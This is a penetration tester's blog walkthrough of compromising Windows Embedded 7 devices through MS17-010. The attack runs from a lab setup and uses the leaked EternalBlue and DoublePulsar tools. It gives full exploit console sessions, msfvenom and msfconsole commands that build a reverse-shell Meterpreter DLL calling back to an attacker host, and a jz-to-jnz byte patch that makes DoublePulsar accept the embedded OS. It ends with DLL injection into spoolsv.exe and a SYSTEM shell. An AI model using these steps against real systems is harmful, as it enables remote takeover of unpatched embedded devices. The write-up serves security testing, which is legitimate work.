Exploiting MS17-010 on Windows Embedded 7 Devices

The recent wave of WannaCry ransomware attacks has shed a lot of public light on the Windows SMB remote code execution vulnerability patched by MS17-010 and has fortunately resulted in organizations applying the security update to prevent further infections. While much of the focus has been on patching desktops and servers, it’s easy for many organizations to continue to neglect devices running the Windows Embedded 7 OS.

I am nearing completion of a very long and complex pen test of an environment made up completely of networked embedded devices, so when the Equation Group’s Fuzzbunch framework was released publicly, I figured it would be perfect for a few boxes I was struggling to gain complete access to.

I needed to do some tweaking to get the current tools to work, but in the end, the attack worked as expected and probably will continue to work for a long time given the general lack of patching of embedded devices. I found the following posts especially helpful as I worked through this exercise, so many thanks to the authors!

Failed exploit attempts

I first tried using the exploit/windows/smb/ms17_010_eternalblue Metasploit module, but each attempt resulted in a blue screen no matter which payload I tried. I finally found that it has only been ported to x64 at this time, and the authors clearly state that attempts to exploit an x86 device will crash it.

I then figured I’d go straight to the Fuzzbench framework which I know works against x86 devices. I was able to easily plant a backdoor using the EternalBlue tool, but the DoublePulsar implant was not developed with Windows Embedded 7 in mind and exploit attempts would throw an error upon execution:

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0xED937C35
    SMB Connection string is: Windows Embedded Standard 7601 Service Pack 1
[-] ERROR unrecognized OS string
    Target SP is: 1
[!] Plugin failed
[-] Error: Doublepulsar Failed
fb Payload (Doublepulsar) >

Attack overview

At this point, I figured my best option would be to make the original DoublePulsar implant work for my needs instead of trying to reverse engineer everything and create my own attack from scratch. I will not go in-depth into the background of these commands, since the two posts I linked to above already do a great job of explaining the setup process.

Environment setup

For this walk-through, I have three VMs set up as follows:

  • Kali - Meterpreter Listener Attack VM (172.16.16.200)
  • Windows 7 - Fuzzbunch Attack VM (172.16.16.201)
  • Windows Embedded Standard 7 - Victim VM (172.16.16.202)

Initial backdoor planting

The initial attack is executed from the Win7 attack box using the EternalBlue attack within the Fuzzbunch framework with minimal deviations from the defaults:

[?] Default Target IP Address [] : 172.16.16.202
[?] Default Callback IP Address [] : 172.16.16.201
[?] Use Redirection [yes] : no

[?] Base Log directory [C:\shadowbroker\shadowbroker-master\windows\logs] :
[*] Checking C:\shadowbroker\shadowbroker-master\windows\logs for projects
Index     Project
-----     -------
0         Create a New Project

[?] Project [0] : 0
[?] New Project Name : EternalBlue
[?] Set target log directory to 'C:\shadowbroker\shadowbroker-master\windows\logs\eternalblue\z172.16.16.202'? [Yes] :

[*] Initializing Global State
[+] Set TargetIp => 172.16.16.202
[+] Set CallbackIp => 172.16.16.201

[!] Redirection OFF
[+] Set LogDir => C:\shadowbroker\shadowbroker-master\windows\logs\eternalblue\z172.16.16.202
[+] Set Project => eternalblue

fb > use EternalBlue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 172.16.16.202

[*] Applying Session Parameters
[*] Running Exploit Touches


[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
===================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              172.16.16.202
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
Target                WIN72K8R2

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [172.16.16.202] :

[*]  TargetPort :: Port used by the SMB service for exploit connection

[?] TargetPort [445] :

[*]  VerifyTarget :: Validate the SMB string from target against the target selected before exploitation.

[?] VerifyTarget [True] : false
[+] Set VerifyTarget => false

[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled
for multiple exploit attempts.

[?] VerifyBackdoor [True] :

[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3.

[?] MaxExploitAttempts [3] :

[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.

[?] GroomAllocations [12] :

[*]  Target :: Operating System, Service Pack, and Architecture of target OS

    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs

[?] Target [1] :


[!] Preparing to Execute Eternalblue

[*]  Mode :: Delivery mechanism

   *0) DANE     Forward deployment via DARINGNEOPHYTE
    1) FB       Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1
[+] Run Mode: FB

[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure? (y/n) [Yes] :
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [172.16.16.202] :
[?] Destination Port [445] :
[+] (TCP) Local 172.16.16.202:445

[+] Configure Plugin Remote Tunnels


Module: Eternalblue
===================

Name                  Value
----                  -----
DaveProxyPort         0
NetworkTimeout        60
TargetIp              172.16.16.202
TargetPort            445
VerifyTarget          False
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
ShellcodeBuffer
Target                WIN72K8R2

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        .............DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
    [+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
    [+] Backdoor returned code: 10 - Success!
    [+] Ping returned Target architecture: x86 (32-bit)
    [+] Backdoor installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] CORE sent serialized output blob (2 bytes):
0x00000000  08 00                                            ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded

fb Special (Eternalblue) >

Meterpreter Setup

First, let’s start up a listener in a screen session on the Kali box to wait for the victim to call back to.

$ screen -S listener
$ msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 172.16.16.200;set LPORT 4444; run; exit -y"

The screen session can be detached (left running) by hitting ctrl-a d.

Next, we need to prepare a meterpreter DLL for injection using msfvenom on the Kali box.

$ msfvenom -p windows/meterpreter/reverse_tcp -f dll -o /tmp/met_launcher_4444.dll EXITFUNC=thread LHOST=172.16.16.200 LPORT=4444

We’ll need to get the DLL over to the Win7 attack box, so my preferred way of doing that on my own network is:

$ screen -S web
$ cd /tmp
$ python -m SimpleHTTPServer 8000

Again, the screen session can be detached (left running) by hitting ctrl-a d.

Now over on the Win 7 attack box, we just open a browser to http://172.16.16.200:8000 and save the met_launcher_4444.dll file to c:\met_launcher_4444.dll.

Modifying DoublePulsar for Windows Embedded 7

Remember when DoublePulsar ran against the Windows Embedded 7 device, it resulted in an error message: [-] ERROR unrecognized OS string.

So let’s open the Doublepulsar-1.3.1.exe executable (found in the \windows\payloads\ subdirectory of the shadowbroker files) in IDA to see why that error message is generated and attempt to patch it to work with other OS versions.

We can see the string at 0x00406148:

Double-clicking on the string will bring it up in the .rdata section:

Double-clicking the DATA XREF section will bring it up in the .text section. Right-clicking and choosing Graph view will provide a better idea of the flow of this routine.

This gives us a graph that looks very promising for something like an OS version checking routine. Notice the section that we jumped to is in the bottom right corner of this graph, so we can traverse upwards to see how we got here.

A few levels up, we find the Windows 7 check. The problem we’re having is our OS version string isn’t matching the one checked here, so the code drops down to the next OS check. The best thing to do would be to add our own branch here to check specifically for the OS version string we expect, but I’m going to take a terrible shortcut for the purposes of this post to determine if this attack is even viable with the OS before spending a lot of time making a proper patch.

So the easiest thing to do here is just simply change the jz to a jnz. First, let’s check what the opcodes for jz and jnz are so we know what to change. It looks like jz is 74 and jnz is 75.

We can change the bytes by using the Edit | Patch program | Change bytes menu in IDA. Note it starts with the 74 opcode that we expected. Simply changing that to 75 will switch the path the program takes to kick this down the Win7 path. Again, this is really hacky and a terrible shortcut but we can always come back and make a proper patch after verifying this works.

Now we can see the updated jnz call.

In order to patch the exe, we’ll first need to create a DIF file by going to File | Produce File | Create DIF file. Then, we can use @stalkr_’s script to patch the executable.

C:\Users\Admin\Desktop>c:\Python26\python.exe idadif.py c:\shadowbroker\shadowbroker-master\windows\payloads\Doublepulsar-1.3.1.exe c:\shadowbroker\shadowbroker-master\windows\payloads\Doublepulsar-1.3.1.0.dif
Patching file 'c:\\shadowbroker\\shadowbroker-master\\windows\\payloads\\Doublepulsar-1.3.1.exe' with 'c:\\shadowbroker\\shadowbroker-master\\windows\\payloads\\Doublepulsar-1.3.1.0.dif'
Done

Execute DoublePulsar payload to gain a Meterpreter shell

Now that we have a listener setup on Kali, and a DLL ready to be injected that will make the victim call back to Kali, all we have left to do is actually inject the DLL using our modified version of DoublePulsar.

[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [172.16.16.202] :

[*]  TargetPort :: Port used by the Double Pulsar back door

[?] TargetPort [445] :

[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor

[?] Protocol [0] :

[*]  Architecture :: Architecture of the target OS

   *0) x86     x86 32-bits
    1) x64     x64 64-bits

[?] Architecture [0] :

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on disk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] : 2
[+] Set Function => RunDLL

[*]  DllPayload :: DLL to inject into user mode

[?] DllPayload [] : c:\met_launcher_4444.dll

[*]  DllOrdinal :: The exported ordinal number of the DLL being injected to call

[?] DllOrdinal [1] :

[*]  ProcessName :: Name of process to inject into

[?] ProcessName [lsass.exe] : spoolsv.exe
[+] Set ProcessName => spoolsv.exe

[*]  ProcessCommandLine :: Command line of process to inject into

[?] ProcessCommandLine [] :


[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [172.16.16.202] :
[?] Destination Port [445] :
[+] (TCP) Local 172.16.16.202:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              172.16.16.202
TargetPort            445
DllPayload            c:\met_launcher_4444.dll
DllOrdinal            1
ProcessName           spoolsv.exe
ProcessCommandLine
Protocol              SMB
Architecture          x86
Function              RunDLL

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x6B075D17
    SMB Connection string is: Windows Embedded Standard 7601 Service Pack 1
    Target OS is: 7 x86
    Target SP is: 1
        [+] Backdoor installed
        [+] DLL built
        [.] Sending shellcode to inject DLL
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Command completed successfully
[+] Doublepulsar Succeeded

fb Payload (Doublepulsar) >

It looks like this worked, so let’s flip over to our screen session on the Kali box.

$ screen -dr listener

And here is our Meterpreter session running under the SYSTEM account!

To make this attack better, the DoublePulsar exe should really be patched with some proper code and incorporated back into the master Github repo, but that will have to wait for now. Regardless, it looks like work is underway to port the attack over to x86 in Metasploit anyways, so once that happens it will be much easier to attack most Windows-based embedded devices.

Let's us know what you think

Contact the author directly at @brkr19 if you have any questions or comments about this post!

Like this post? Please share it with others!